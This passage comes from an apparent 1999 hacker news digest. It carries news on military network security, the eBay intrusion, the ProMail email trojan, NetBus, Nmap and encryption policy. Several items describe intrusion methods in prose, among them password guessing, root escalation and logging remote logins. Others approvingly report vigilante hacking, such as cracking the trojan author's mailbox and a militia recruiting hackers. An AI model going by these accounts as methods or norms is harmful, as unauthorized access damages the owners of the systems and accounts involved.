but the Army, Navy and other services need a single-standard computer system. ''Twenty-first century combat is the war of the databases, in which information flows must go from the foxhole to the White House and back down again,'' said Allard, a former Army colonel and analyst at the Center for Strategic and International Studies who had not yet read the council's report. The report recommended: Making C4I a greater budget priority in defense spending, with a flexibility that can ''exploit unanticipated advances in C4I technology.'' Designating an organization responsible for providing direct defensive operational support to commanders. Funding a program to conduct frequent, unannounced penetration testing of C4I systems. Ensuring that programs are operable even if one part has been penetrated by an adversary. Emphasizing the importance of information technology in the military leadership. Establishing an Institute for Military Information Technology, possibly as part of an existing body. ------------------------------------------------------------ -------------------- ShadowVrai http://shadowvrai.evil.nu ______________________ "Did you really think you could call up the devil and ask him to behave?" __________ _____________________________________________ Get your free personalized email address at http://www.MyOwnEmail.com @HWA 15.0 International raid cracks child porn ring ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/TECH/computing/9903/19/germany.porno.reut/index.html International raid cracks child porn ring March 19, 1999 Web posted at: 5:35 p.m. EST (2235 GMT) MUNICH (Reuters) -- German police said on Friday they had cracked an international Internet child pornography ring after launching a coordinated sweep through seven countries. In a raid of private homes coordinated from Munich, German police said they had confiscated thousands of outlawed photographs and video images which had been traded and distributed via Internet "chat rooms." German police said the action, codenamed "Bavaria," had taken place on Wednesday and involved simultaneous raids of suspects' homes in Germany, Switzerland, Sweden, Britain, Norway, the United States and Canada. Holger Kind, an official from the Federal Crime Office, said the material uncovered had been the widest sweep of its kind led from Germany. "You can assume this will not be the last raid of its kind," Kind told a news conference. Kind said some suspects had already confessed to involvement in the ring. If convicted in Germany, the suspects could face a prison sentence of up to five years in jail. Switzerland and Britain have arrested one suspect each. Police in Sweden and the United States also found banned material in the raids featuring children between the ages of three and four, police in Bavaria said. @HWA 15.1 ACPM : Anti-Child Porn Militia wants YOU ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Anti Child Porn Militia contributed by system.administrator The Anti Child Porn Militia is recruiting new members. They are asking for anyone who thinks they can be of assistance in eliminating child pornography from the internet to assist them. http://infovlad.net/ACPM/ From the ACPM site; We pray for children who are sick. children who may not live to see their next birthday.... or tomorrow, children who go into hospitals, never to come out children who don't deserve to die. We pray for the children that don't understand why...... why they're not like other children who are healthy children who play in the sunlight dance on the grass, children who enjoy life children that don't think about death. We pray for children who stare at photographers from behind barbed wire, who can't run down the street in a new pair of sneakers, who are born in places we wouldn't be caught dead in, who live in an X-rated world. We pray for those children who never get dessert, who have no security blanket to drag behind them, children who watch their parents watch them die. children who can't find any bread to steal, children who don't have any rooms to clean up, whose pictures aren't on anybody's dresser, whose monsters are real. We pray for children whose nightmares come in the daytime, children who will eat anything, who have never seen a dentist, who aren't spoiled by anybody, children who go to bed hungry and cry themselves to sleep. who live and move but have no being. We pray for children who want to be carried, and for those who must be. For those who never get a second chance. We pray for those children who will grab the hand of anybody kind enough to offer it. For these children we pray. - unknown - 'Hackers wanted:' http://infovlad.net/ACPM/signup.html Only sign up if you have some skills and time to help out don't sign up for bragging rights, you won't be doing anyone any favours... - Ed @HWA 16.0 Hacking contest, win a Netfinity server! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hacking Contest from HNN contributed by ju PC Intern, a german Computer magazine is sponsoring a contest to draw attention to web server security. They have set up a WindowsNT and a Linux system with a hidden file. First person to get the file wins an IBM Netfinity-server. Try your skillz. PC Intern: http://www.pcintern.de/hacker.htm * Welcome to the Web-Hack! * We wish all participants good luck! * Look for "hack.txt", please! * This is the wayto the Linux-Server: IP: 195.227.43.210 * This is the way to the Windows-NT-Server: IP: 195.227.43.211 Is there optimal protection? The editorial staff of the German computer magazine PC INTERN wants to draw attention to security of data in web-server-systems in an outstanding contest. The hack-event aims at checking and discussing the reliability of Windows-NT- and Linux-PCs' security. Starting at 9.00 am on Thursday 18th, 1999, you will find two links on this site which will lead to the servers to be hacked. On both servers there is hidden a telephone-number and a password. The person who will call first telling the password and the way he or she hacked the server, wins an IBM Netfinity-server. PC INTERN grants the hackers total exemption from punishment - PC INTERN's single aim is to expose and discuss the security's weak spots. On IBM's stage (hall 2, D28) between 1.00 and 2.00 pm, a debate will finish the web-hack-event. Dr. Harald Feldkamp, editor in chief, will discuss about security in the world wide web with the following participants: Dr. Werner Schmidt Ministerialrat beim Bundesbeauftragten fⁿr den Datenschutz Wilfried Seiffert Ministerialrat beim niedersΣchsischen Landesbeauftragten fⁿr den Datenschutz Frank Kertscher Principal IT Security fⁿr IBM Global Services Klaus Birkenbihl GMD Informationstechnik GmbH Tilmann Mⁿller-Gerbes Leiter Professional Services bei S.u.S.E. Felix H÷ger GeschΣftsfⁿhrer der NDH Netzwerkdienste H÷ger @HWA 17.0 eBay owned ~~~~~~~~~~ http://www.ebay.com MagicFX cracks eBay contributed by Code Kid According to MagicFX eBay has been owned for quite some time. To prove this on March 13th he replaced the main web page on one of the servers for a journalist to confirm. The article goes into detail on just how badly eBay is owned. Forbes; http://www.forbes.com/tool/html/99/mar/0319/side1.htm Going once, going twice ... HACKED! By Adam L. Penenberg EBay(nasdaq: EBAY), the hot one-to-one auction site, was hacked on Saturday March 13 by a 22-year old college student who goes by the handle MagicFX. But the story doesn't end there. The hacker maintains access to the site and can return at will. He has "root" access to eBay's computers, the same kind the legitimate administrators enjoy. This means he could change prices or place fake ads, divert traffic to other sites or even take down the entire network. This was starkly illustrated to this reporter on Wednesday night, when the hacker, to prove his point, took down eBay's home page for two minutes and replaced it with the message: Proof by MagicFX that you can't always trust peopleà not even huge companies. (who woulda known that?) "It's 9:30 PM . . . do you know who has YOUR credit card information?" Although eBay customers don't use credit cards to pay for merchandise--the site acts as a middleman--sellers use them to pay the company service fees. When contacted, the company refused to comment, saying that unnamed law enforcement officials had requested that eBay remain silent about issues surrounding hacking. Initially, the hacker, who would not divulge his real name, gained access to eBay's computers on Saturday afternoon by figuring out what accounts existed, then trying simple passwords. Since eBay is an e-commerce site, MagicFX tried words like "commerce," "trading" and "eBay," until he cracked one, although he would not divulge the password he used. He says he was surprised eBay's technicians didn't use standard password protecting schemes, which would have meant a mixture of numbers and letters. Once inside, MagicFX employed a technique referred to as a "local root buffer overflow." He ran a script that transmits too much information into a targeted zone. The data that can't fit is then manipulated so that he was able to trick the computer into running his commands at an elevated privilege. "I exploited a buffer overflow condition, which existed in an SUID root program," says the hacker, who is finishing up a B.S. in computer science. "Then I used software which I had written myself to get to the rest of the network. FreeBSD was the first machine I accessed, the rest were Solaris." From there, MagicFX modified the system's software so that instead of providing administrators with a secure way to work from a remote machine, it logged that information to a hidden file, so that not only could he intercept passwords and log in names, but actually watch everyone's keystrokes. "After gaining access to more of the network, I tried to figure out how the service worked. Most of the web servers run on Windows machines, which use the SMB protocol to load a template page off a specified machine and dynamically create the HTML." For Saturday's hack, MagicFX left his page up for about 45 minutes; he claims it was viewed by about 4,000 site visitors. (Hackers often attack on weekend evenings, because most system administrators are out of the office.) The reason more people didn't witness the hack is that eBay deploys several web servers and balances the load based on the amount of traffic. Since MagicFX exploited only one machine for the web page hack, only users served by that machine could view the hacked page. But he claims the company must know about the hack, since he monitored E-mails from users alerting the company. He pulled his own page down and logged off when he spotted a system administrator--"to be nice." Mirrors--or copies--of both Saturday's and Wednesday's hacked eBay pages have been archived by Brian Martin, a computer security consultant, on his site attrition.org (http://www.attrition.org/mirror/attrition/ebay.com) What does MagicFX say about eBay's security? "I think they have better security than NASA, but that's not saying much." Martin, who also witnessed the Wednesday night eBay hack, says, "Large systems like eBay are focused on keeping the money machine running smoothly, but this has come at the expense of security. Users should realize that just because a site says their personal information and credit card numbers are secure doesn't necessarily make it so." MagicFX says he hacked eBay, which has a market cap of more than $18 billion, because he wanted to see how a large e-commerce site worked from the inside. Once there, he discovered an added bonus: eBay uses a proprietary system to do its trading, he says, and the source code is highly prized in the hacker world. As a result, a number of hackers have approached him for a copy, but he has not complied,, since he hasn't had a chance to sift through it yet. This was not the first hack for MagicFX. Recently he also defaced web sites promoting the movies Varsity Blues and 200 Cigarettes, "because they got a lot of hits and I didn't like the movies really." He also hit monicalewinsky.com because it is "anti-Clinton" and "ourfirsttime," a site that claimed it would webcast a man and woman losing their virginity. MagicFX says he hacked the site to get the word out it was a media hoax. "I have learned at least as much by hacking as I have in school," he says. External link: attrition.org @HWA 18.0 Aussies to ban Net pr0n ~~~~~~~~~~~~~~~~~~~~~~~~ From The Australian http://technology.news.com.au/techno/4317712.htm Alston's regime to ban Net nasties By WAYNE ADAMS and DAN TEBBUTT 20mar99 COMMUNICATIONS and Information Technology Minister Richard Alston has unveiled a regime that will effectively ban X-rated and Refused Classification material from the Internet. "There's no doubt the Internet provides enormous educational and informational opportunities but, at the same time, it does pose considerable risks for the community," he said yesterday. "We are therefore proposing to introduce a new regime that will hopefully ensure, certainly for Internet sites hosted within Australia, that we block access to material that is either illegal, Refused Classification or X-rated and, in relation to R-rated material, is only available to those over 18 years of age." The Australian Broadcasting Authority will oversee the regime. Community and Internet industry groups will be included under the proposals. They will provide a "hotline" on offensive material and pass information to the ABA, monitor online sites, advise on complaints mechanisms and provide community education. If the ABA thinks content is serious enough, it will be able to prevent access to the material pending a National Classification Board opinion. The authority will have to issue a notice to a service provider to halt access to any content deemed to be proscribed content. Senator Alston rejected suggestions that the announcement was related to the Telstra sale or appeasing Independent senator and morals campaigner Brian Harradine. "Senator Harradine is probably the most visible public manifestation of concern, but the fact is that there are many hundreds of thousands of people in Australia who would have the greatest concern if they thought that under-age children could have access to illegal or highly offensive material," he said. However, Labor's communications spokesman, Stephen Smith, said Senator Harradine and parents "should not be duped". "The announcement today is about Australian content, and it's a very small proportion of Internet content which is locally produced and locally put online," he said. Kimberley Heitman, chairman of Internet advocacy group Electronic Frontiers Australia, said: "This is as bad as it gets û they have ignored everything the Internet industry has said. None of these things will affect end users. It will just drive content offshore." @HWA 19.0 More on the Promail email trojan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Originally reported in the last issue, here's more info from packetstorm on the Promail email trojan program. Date: Fri, 19 Mar 1999 09:41:18 +0100 From: Aeon Labs <aeon@army.net> To: packetstorm@genocide2600.com Subject: security/privacy news (Perhaps this might be of interest to Your readers.) ProMail v1.21, an advanced freeware mail program spread through several worldwide distribution networks (SimTel.net, Shareware.com and others), is a trojan. Upon discovering - through LAN sniffing - that the program would attempt to connect to SMTP instead of POP3 when a regular mail check was performed, we reverse-engineered the software. ALL of the personal user data, including the user's password in encrypted format, is sent to an account on NetAddress - a free email provider - as soon as a valid internet connection is detected. Apart from this "feature", the software is 100 % functional and very well done. Well, it seems that 1999 is the worst year for privacy... More detailed information can be found on our web site at http://cool.icestorm.net/aeon/news.html --------------------------------------------------------------------- Aeon Labs http://cool.icestorm.net/aeon [http://cool.icestorm.net/aeon/news.html] 03.99] ProMail v1.21, an advanced freeware mail program for Windows 95/98, is a trojan. It has been spread through several worldwide distribution networks (SimTel.net, Shareware.com and others) as proml121.zip. Upon discovering - through LAN sniffing - that the program would attempt to connect to SMTP instead of POP3 when a regular mail check was performed, we reverse-engineered the software. The executable, which appears to have been created with Borland Delphi, has been packed with Petite (a shareware Win32-EXE compressor) and then "hexed" to make disassembly harder. ProMail v1.21 supports multiple mailboxes; every time a new mailbox is created, an "ini" file containing the users full name, passwords, email addresses, servers and more is generated. Prior to doing any other action, the program performs a check for a valid network connection which, if found, allows for the sending of ALL of the personal user data, including the user's password in encrypted format, to an account on NetAddress - a free email provider. Apart from this "feature", the software is 100 % functional and very well done. For further information or a more detailed analysis contact us. <aeon@army.net> --------------------------------------------------------------------------------- Date: Sat, 20 Mar 1999 03:51:00 -0500 (EST) From: aeon@army.net To: packetstorm@genocide2600.com Subject: Re: your mail currently our members have disassembled and analyzed the whole executable. the only thing it appears to do as a trojan is to send the accounts data entered by the user: full name, organization, email address, user name, password (encrypted), smtp and pop3 servers, etc. and since promail supports multiple accounts, each newly created account is sent. the data for each account is contained in a text file which is used to initialize promail at run-time. the same text file is used as body of the email which is sent to the author (supposedly) of the program. it appears that all emails are sent with same subject line: "kirio". the program also creates the file promail.pml in its directory. it's a zero length file used as permanent flag to "remember" to the trojan that one or more accounts data could not be sent in the last session (for example, when accounts are created off-line, or when not followed by a mail check in the same session). we also managed to crack the mailbox to which accounts data is sent. about ~80 emails (== accounts) were found and another dozen was received after only ten minutes or so. accounts for microsoft, michigan us army, old bridge chemicals and a videogames company - amongst the others - were found. we have merely informed a _contact_ (not the ml) in ntbugtraq and several "underground" news/security sites. well you can contact the various *traq mailing lists if you want. we don't care if people still trust anything that can be downloaded from the net anyway. i guess we're not exactly "white hat" hackers :P if you need any help or further analysis on a specific part of the program please feel free to contact us. ------------------------------------------------------------------------ Aeon Labs <aeon@army.net> http://cool.icestorm.net/aeon --------------------------------------------------------------------------------- Date: Sun, 21 Mar 1999 09:40:26 +0100 From: Patrick Oonk <patrick@pine.nl> To: tattooman@ADRIC.GENOCIDE2600.COM Subject: [patrick@pine.nl: ProMail trojan proof] ----- Forwarded message from Patrick Oonk <patrick@pine.nl> ----- Hi, I've tested the ProMail Trojan, it sends the info to naggamanteh@usa.net using the smtp server you supply when creating an account. I'll Cc: abuse@usa.net and bugs@shareware.com ProMail can still be downloaded at many sites, just check http://search.shareware.com/code/engine/File?archive=sim-win95&file=email%2fproml121%2ezip&size=409141 These are the queue files at my smtp server after I installed ProMail and created an account: $ more /var/spool/mqueue/qfPAA17183 V2 T921939650 K921939657 N1 P30435 I6/0/88205 M<naggamanteh@usa.net>... reply: read error from office.pine.nl. Fb $rSMTP $sfoo $_foo.domain.com [10.0.0.1] S<patrick@pine.nl> RPFD:<naggamanteh@usa.net> H?P?Return-Path: <patrick@pine.nl> HReceived: from foo (foo.domain.com [10.0.0.1]) by bar.domain.com (8.9.1/8.9.1) with SMTP id PAA17183 for <naggamanteh@usa.net>; Sat, 20 Mar 1999 15:20:50 +0100 (MET) H?D?Date: Sat, 20 Mar 1999 15:20:50 +0100 (MET) H?F?From: patrick@pine.nl H?M?Message-Id: <199903201420.PAA17183@bar.domain.com> HTo: naggamanteh@usa.net HSubject: kirio $ more /var/spool/mqueue/dfPAA17183 Name=New Account [From] EMail=patrick@pine.nl Name=Patrick Oonk Organization=Pine Internet B.V. [ReplyTo] EMail=patrick@pine.nl Name=Patrick Oonk [POP3] Server=pop.domain.com Port=110 User=patrick Password=1hFATUIxWOkJ3b3N3chBXZrFmZMUE PromptPassword=0 DoPOP=1 StandardDownload=0 [SMTP] Server=smtp.domain.com Port=25 DoSMTP=1 [Filter] Keep= Delete= -- : Patrick Oonk - http://patrick.mypage.org/ - patrick@pine.nl : : Pine Internet B.V. Consultancy, installatie en beheer : : Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ : : -- Pine Security Digest - http://security.pine.nl/ (Dutch) ---- : : "unix is voor types zonder sociaal leven..." - Patrick van Eijk : ----- End forwarded message ----- -- : Patrick Oonk - http://patrick.mypage.org/ - patrick@pine.nl : : Pine Internet B.V. Consultancy, installatie en beheer : : Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ : : -- Pine Security Digest - http://security.pine.nl/ (Dutch) ---- : : "unix is voor types zonder sociaal leven..." - Patrick van Eijk : : A signature starts with "-- <enter>". : --------------------------------------------------------------------------------- Date: Mon, 22 Mar 1999 18:20:50 +0900 (JST) From: Aeon Labs <aeon@army.net> To: packetstorm@genocide2600.com Subject: ProMAIL users So far we have collected hundreds of email *addresses* from naggamanteh@usa.net (only the headers were retrieved, we don't want their passwords/personal data/etc). With these addresses, users of ProMail could be warned about the problem with their passwords. If you can find people who are willing to do the work, we'll send you a list of the addresses we have collected. ----------------------------------------------------------------------------- Aeon Labs <aeon@army.net> http://cool.icestorm.net/aeon 20.0 C41 - PentagonÆs cyberdefenses criticized ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PentagonÆs cyberdefenses criticized Report: Threats arenÆt taken seriously enough by HQ, troops MSNBC STAFF AND WIRE REPORTS WASHINGTON, March 22 The militaryÆs key communications infrastructure is dangerously vulnerable to attacks from cyberspace and requires urgent changes, according to a new study ordered by Congress and sponsored by the Pentagon. One avenue the Pentagon was advised to consider was a change in policy that would allow it to counter -attack when a cyberattacker strikes. THE COMMAND, Control, Communications, Computers and Intelligence systems - known as C4I - is compromised by security problems and also by a military culture prone to treating such problems as a lesser priority, a National Research Council committee reported."The rate at which information systems are being relied on outstrips the rate at which they are being protected," it said. "The time needed to develop and deploy effective defenses in cyberspace is much longer than the time required to develop and mount an attack." It also suggested the Pentagon consider whether "counter-attack is an appropriate response to a cyber attack." As U.S. policy now stands, the Pentagon may not go after cyber attackers, instead handing off investigations to civilian law enforcement agencies. Despite evidence of security lapses in C4I - which handles communications and warning tasks along the chain of command - the Pentagon's "words regarding the importance of information systems security have not been matched by comparable action," the report said. MANAGEMENT CRITICIZED "Troops in the field did not appear to take the protection of their C4I systems nearly as seriously as they do other aspects of defense," said the report, which Congress ordered the Pentagon to commission in 1995. The council is an independent organization chartered by Congress to advise the government. The committee said it observed one military field exercise in which personnel in an operations center mistakenly took as a joke a cyber attack on their systems. The report indicated the problems were due more to the Pentagon 's management of the systems than to the technology itself. It cited C4I workers' lack of stature compared with traditional combat forces, compatibility problems between the services and a need for more budget flexibility on the matter from both the Defense Department and Congress. PENTAGON'S RESPONSE In a statement, the Pentagon acknowledged that the military's strength "is our information technology," and that "our dependence on such assets, which may be subject to malicious attack, makes information technology our weakness as well." It said that as the council's report was being prepared, the Defense Department had already improved protection against computer attack by implementing new programs, establishing a joint task force for computer defense and expanding training of its information technology personnel. But Kenneth Allard, an analyst who has written about C4I, said its weaknesses are in part the fault of "Industrial Age" military acquisition policies - applying to computers as well as tanks, ships and aircraft - that give the services their own procurement duties. Ships and tanks may perform different tasks, he said, but the Army, Navy and other services need a single-standard computer system. "Twenty-first century combat is the war of the databases, in which information flows must go from the foxhole to the White House and back down again," said Allard, a former Army colonel and analyst at the Center for Strategic and International Studies who had not yet read the council's report. RECOMMENDATIONS The report recommended:making C4I a greater budget priority in defense spending, with a flexibility that can "exploit unanticipated advances in C4I technology." Designating an organization responsible for providing direct defensive operational support to commanders. o Funding a program to conduct frequent, unannounced penetration testing of C4I systems. o Ensuring that programs are operable even if one part has been penetrated by an adversary. o Emphasizing the importance of information technology in the military leadership. o Establishing an Institute for Military Information Technology, possibly as part of an existing body. An archive audio copy of the Senate hearing is available via the FedNet service at www.fednet.net/h0322b.htm. MSNBCÆs Miguel Llanos and The Associated Press contributed to this report. @HWA 21.0 [ISN] NetBus 'Trojan' Splits Security Community ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ NetBus 'Trojan' Splits Security Community (03/02/99, 7:46 p.m. ET) By Lee Kimber, Network Week Internet-connected networks could be left vulnerable to Trojan attacks because leading anti-virus software vendors have said they won't scan and disable a new, more powerful NetBus Trojan. Remote-control programs like NetBus were dubbed Trojans because they could be hidden on computers by crackers. The latest version of NetBus has split network-security experts because its author said it was not a Trojan as it remained visible. But crackers reportedly rewrote it to make it invisible within days of its launch. Data Fellows and Sophos said their anti-virus products would not disable the recently launched remote-control Trojan NetBus 2 Pro because its Swedish author Carl-Fredrik Neikter was a professional who now charged $12 for a legitimate shareware product. "NetBus 2.0 Pro is not detected as it is now commercial software," according to a spokesman for Data Fellows' European office in Finland. "NetBus 1.x up to 1.7 was detected by anti-virus scanner F-Secure but not NetBus 2.0" Data Fellows' website reported that earlier NetBus versions were used frequently to steal data and delete files on people's machines. NetBus lets crackers to take remote control of networked PCs, but publicity over its spread has been eclipsed by the Back Orifice remote-control Trojan written by hacker group Cult of the Dead Cow. But unlike Back Orifice, NetBus can infect Windows NT machines and is more easily configured. And Neikter described it himself as a "remote administration and spy tool." His promotional material also mentioned NetBus provided the ability to change files and registries. Neikter could not be contacted for comment. Sophos confirmed it also would not offer NetBus support. "It is a commercial product and it looks extremely professionally written. You can use these products for lawful or unlawful purposes," said Jan Hruska, Sophos technical director. He added Sophos products did not scan for earlier versions of NetBus but the company would make a scanning tool available that people could use if they want to. But rival vendor Network Associates said it believed NetBus was aimed at young crackers and joined with other vendors to commit to detecting and removing the Trojan in Dr Solomon's and McAfee anti-virus products. "We're carrying on detecting it," said the company's anti-virus consultant Jack Clark. "We don't believe a commercial application would have a section in the manual that says 'have fun with your friends' and has the ability to pop out the CD tray on users' machines," he added. And asked if Symantec would update its software to detect the Trojan, Symantec technical manager Kevin Street replied: "Absolutely. We've already got it sorted out, so why would we remove it?" -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com] @HWA 22.0 [ISN] Cracking tools get smarter ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: William Knowles <erehwon@kizmiaz.dis.org> http://www.wired.com/news/print_version/technology/story/18219.html?wnpg=all [Wired.com] (3.3.99) With awe and alarm, security analysts have observed the capabilities of Nmap, a network-scanning program that crackers are now using to plot increasingly cunning attacks. "Just before Christmas, we detected a new [network] scanning pattern we'd never seen before," said John Green, a security expert on the "Shadow" intrusion-detection team at the US Navy's Naval Surface Warfare Center. "Other sites have seen the same activity. The problem was, no one knew what was causing it." Green made the remarks Tuesday in an online briefing hosted by the SANS Institute, a nonprofit network-security research and education organization. The group held the briefing to alert network administrators of the alarming increase in the strategies of network attacks. The culprit software prowling outside the doors of networks participating in the study is Nmap, an existing software utility used by administrators to analyze networks. In the hands of intruders, security analysts discovered, Nmap is a potent tool for sniffing out holes and network services that are ripe for attack. The analysts didn't look for actual damage that was carried out. Instead, they silently watched as various networks were scanned by untraceable Nmap users. "The intelligence that can be garnered using Nmap is extensive," Green said. "Everything that the wily hacker needs to know about your system is there." Rather than feel in the dark to penetrate network "ports" at random, Nmap allows intruders to perform much more precise assaults. The implications are a bit unnerving for the network community. The tool makes planning network intrusions more effective, while simultaneously bringing this sophistication to a wider audience of hackers. "It takes a lot of the brute force out of hacking," said Green. "It allows [intruders] to map hosts and target systems that might be vulnerable." And that should result in a higher success rate for attempted intrusions. "I think we're going to see more coordinated attacks. You can slowly map an entire network, while not setting off your detection system," said software developer H. D. Moore, who debriefed network analysts at the conference. But Moore is part of the solution. He authored Nlog, software that automatically logs activity at a network's ports and parlays it to a database. Weekly checks of the database enable the user to tell if someone is performing an Nmap analysis. Nlog serves as a companion tool to Nmap. Just like intruders, administrators can use Nmap to detect their own network weaknesses, then plug the holes. Prevention is the only defense, Green and Moore said. There is no other known way to combat an Nmap-planned network attack. "Right now it's basically a suffer-along scenario," Green said. But, at least, Nmap lets administrators "know what the hackers know about you." -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com] @HWA 23.0 [ISN] British Defense Ministry Dismisses Hacker Report ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From the ISN list; Forwarded From: jei@zor.hut.fi http://nt.excite.com/news/r/990303/12/tech-hackers British Defense Ministry Dismisses Hacker Report (Last updated 12:21 PM ET March 3) LONDON (Reuters) - Britain's Defense Ministry Wednesday dismissed as "not true" a newspaper report that said hackers had seized control of one of its military communications satellites and issued blackmail threats. The Sunday Business newspaper had said the intruders altered the course of one of Britain's four satellites used by defense planners and military forces around the world. "There is no basis to the story whatsoever," said a Defense Ministry spokesman. "It's not true." Security sources cited by the newspaper said the satellite's course was changed just over two weeks ago. The hackers then issued a blackmail threat, demanding money to stop interfering with the satellite. A police spokesman said the story was for the Defense Ministry to investigate. "Military security is a matter for the Defense Ministry," he said. -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com] @HWA 24.0 [ISN] Encryption key would lock up criminals ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: Fearghas McKay <fm@mids.org> Originally From: Yaman Akdeniz http://news.bbc.co.uk/hi/english/sci/tech/newsid_289000/289139.stm Tuesday, March 2, 1999 Published at 17:18 GMT Encryption key would lock up criminals Dr Ross Anderson: "Big business can look after itself." By Internet Correspondent Chris Nuttall Cyber-criminals would be caught if the government introduced a system where the keys to coded e-mail were voluntarily lodged with licensed authorities, according to the UK National Criminal Intelligence Service (NCIS). NCIS was one of the groups appearing before the House of Commons on Tuesday. "Criminals are lazy, greedy and they make mistakes," John Abbott, NCIS Director General told the Trade and Industry Select Committee, which is hearing witnesses on electronic commerce issues. "We are able to capitalise on this and we anticipate that a licensing scheme would allow us to have some successes," said Mr Abbott. Civil liberties campaign Civil liberties groups are campaigning against "key escrow" - the term used for lodging codes with a third party. They do not want it included in a forthcoming Electronic Commerce Bill. A long-awaited consultation paper on the bill from the Department of Trade and Industry (DTI) is expected in the next few days. Opponents argue the proposed voluntary licensing system where Trusted Third Parties (TTPs) would hold the keys to encrypted data being sent over the Internet would never be used by criminals. But an NCIS spokesman, who declined to be identified, told the hearing that just as criminals used telephones at every level for their activities, so some would use the TTPs. "We would prefer to have a mandatory licensing system because that would be more inclusive," said Mr Abbott. "I do recognise that we are moving into new territory, and this would not be a complete answer, and if all that is on offer is a voluntary scheme then that is better than no scheme at all." Real time access The Chief Investigations Officer of HM Customs & Excise, Richard Kellaway, told the hearing that real-time access was needed to encrypted data. Mr Abbott added that it was no use knowing three days afterwards where a consignment of drugs had been exchanged. He admitted that key escrow would not solve the problem of crimes being committed on an international scale over the Internet. "But I would urge the government to lead. Law enforcement agencies throughout the world are extremely concerned with developments. We anticipate the problem will grow over time and certainly the G8 law enforcement forum are constantly discussing this and looking for ways forward." Business concerns Businesses, as well as civil liberties campaigners, have voiced concern at the possible proposals on key escrow, and the Post Office stated its opposition at the hearing. Jerry Cope, its managing director for strategy, said there were two areas of concern: "If people feel this system makes them less secure then they will not want to use it. We need to instil confidence. "Then there is the additional cost of regulation and if it is greater than in France or Ireland then business will go elsewhere. It is as easy to send e- mail from London to Manchester via Paris as it is direct from London to Manchester." Mr Cope said there had been a lack of dialogue between business and law enforcement agencies and he suggested a possible compromise. Agencies would bear the additional costs of being able to extract information from TTPs and would only exercise their powers when there was a threat to national security. The Post Office will announce later this month that it is launching a Trusted Third Party service called ViaCode. Red flag The final witness of the day, a leading encryption expert, Dr Ross Anderson of Cambridge University, compared key escrow to the red flag that had to be waved in front of the first motor cars to warn people of danger. A week after the requirement was removed, there was the first road traffic fatality. But no-one would suggest we go back to the red flag today and the assumption is made by the police that 99% of those on the road are good guys, he said. He added that the police had a long way to go with computers to match their current knowledge of the motor car. They had often had to call in outsiders such as himself to help with encryption cases. "There are many, many ways of attacking computer systems and inevitably TTPs are going to be compromised," he said. "The role of government should be protecting the consumer - big business can look after itself." He said the best way forward in terms of legislation was the Australian approach that simply recognised that electronic signatures had the same force as manuscript signatures. "Key escrow would have to be global to achieve its stated purpose, and there is now no prospect of this," he said in an additional written submission to the committee. -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com] @HWA 25.0 [ISN] Crypto: Under lock and key ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: privacy <anon@juno.com> http://www.newscientist.com/ns/19990306/forum.html Under lock and key By Duncan Graham-Rowe GOVERNMENTS hate things going on that they don't know about. Not long ago, many governments insisted that they should have the ability--and the right--to decipher all coded messages. The US government, for example, tried to get organisations to use its clipper chip for encryption. Only the government, of course, would hold the numbers, or keys, that would enable it to read anything encoded by the chip. Encryption looked set to become a major civil liberty issue. The subject might seem somewhat esoteric. Indeed, many people have never even heard of it. But whether you know it or not, you almost certainly depend on computer encryption already. Banks, for example, use encryption software to safeguard their customers' personal identification numbers, or PINs. Many other businesses, and individuals, also have good reasons for wanting to be sure that information such as a credit card number sent over the Internet is not being intercepted--or at least cannot be read if it is. Human rights organisations, for example, often use cryptography to relay sensitive information. People who send coded messages obviously want to use strong encryption software, the best available. And while there is no such thing as an uncrackable code, strong encryption comes pretty close. Even with the fastest supercomputers, it could take years to break most properly encoded messages. And this is what gets governments so worried. Strong encryption makes eavesdropping on other people's communications practically impossible. Many governments argue that being able to decode encrypted messages is essential if they are to crack down on criminal activity, such as the distribution of child pornography on the Internet. As a result, a number of Western governments, including France, Britain and the US, have spent years quietly trying to introduce various versions of what is called key escrow. The idea is that government approved agencies, called "trusted third parties", would be set up to hold the encryption keys on our behalf. Then, when the police want to decode a particular message or set of communications, they would present a warrant to these agencies. It sounds reasonable, but such a system would be open to abuse and far from secure. Besides favouring encryption systems that are easy to crack, key escrow represents a weak link in what would otherwise be an almost impenetrable chain. Worse still, it wouldn't even achieve what it was designed for. If key escrow was in place, few criminals would be stupid enough to use it. In fact, criminals would probably be the only ones with any real privacy. And while all those whose job it is to fight crime argue that this would nevertheless provide a good way of flushing out criminals, to do this effectively you would have to know where to look in the first place, which is a somewhat circular argument. So is it really worth jeopardising our privacy on the off chance that the police might catch a few careless criminals? Not according to the French. Last month, France denounced its own well-established policy of banning commercial encryption, after 200 companies complained to the government about key escrow. Prime Minister Lionel Jospin openly admitted that key escrow was useless in fighting crime and therefore unwarranted. And even the US seems to be backing down, after a spate of TV commercials aimed at embarrassing the government brought the issue out in the open. It also seems likely that export laws will be relaxed so that strong encryption software such as Pretty Good Privacy (PGP) is no longer classified as munitions and banned from export. Britain's Department of Trade and Industry seems to be following suit. After nearly five years of consultation, the e-commerce bill is rumoured to be published this week. Although the official line has been that the government favours key escrow, euphemistically calling it a voluntary system of cryptography, the message that this is unacceptable appears to have been drummed home not just by industry bodies but also, according to popular rumour, by the former trade minister Peter Mandelson. This is a welcome change of heart. It is just a 